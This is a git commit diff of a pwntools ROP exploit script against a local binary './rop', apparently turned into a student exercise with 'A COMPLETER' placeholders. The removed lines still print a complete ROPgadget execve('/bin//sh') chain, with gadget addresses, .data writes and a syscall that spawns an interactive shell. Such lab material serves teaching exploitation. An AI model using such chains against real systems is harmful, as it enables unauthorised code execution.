parent
5f0619125a
commit
78ab5f79ca
@ -1,94 +1,23 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# execve generated by ROPgadget
|
# execve generated by ROPgadget
|
||||||
|
|
||||||
from struct import pack
|
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
# Padding goes here
|
|
||||||
|
|
||||||
p = b''
|
p = b''
|
||||||
|
|
||||||
r = process('./rop')
|
r = process('./rop')
|
||||||
|
|
||||||
p += p64(0x00000000004077ce) # pop rsi ; ret
|
# A COMPLETER
|
||||||
p += p64(0x00000000004b2000) # @ .data
|
# A COMPLETER
|
||||||
p += p64(0x00000000004437e3) # pop rax ; ret
|
# A COMPLETER
|
||||||
p += b'/bin//sh'
|
# A COMPLETER
|
||||||
p += p64(0x0000000000445171) # mov qword ptr [rsi], rax ; ret
|
# A COMPLETER
|
||||||
p += p64(0x00000000004077ce) # pop rsi ; ret
|
# A COMPLETER
|
||||||
p += p64(0x00000000004b2008) # @ .data + 8
|
# A COMPLETER
|
||||||
p += p64(0x0000000000439720) # xor rax, rax ; ret
|
# A COMPLETER
|
||||||
p += p64(0x0000000000445171) # mov qword ptr [rsi], rax ; ret
|
# A COMPLETER
|
||||||
p += p64(0x00000000004017de) # pop rdi ; ret
|
# A COMPLETER
|
||||||
p += p64(0x00000000004b2000) # @ .data
|
# ...
|
||||||
p += p64(0x00000000004077ce) # pop rsi ; ret
|
|
||||||
p += p64(0x00000000004b2008) # @ .data + 8
|
|
||||||
p += p64(0x00000000004016fb) # pop rdx ; ret
|
|
||||||
p += p64(0x00000000004b2008) # @ .data + 8
|
|
||||||
p += p64(0x0000000000439720) # xor rax, rax ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x00000000004660d0) # add rax, 1 ; ret
|
|
||||||
p += p64(0x000000000040120b) # syscall
|
|
||||||
|
|
||||||
|
|
||||||
# print(p)
|
|
||||||
|
|
||||||
r.sendline(p)
|
r.sendline(p)
|
||||||
r.interactive()
|
r.interactive()
|
||||||
|
Binary file not shown.
Loading…
Reference in new issue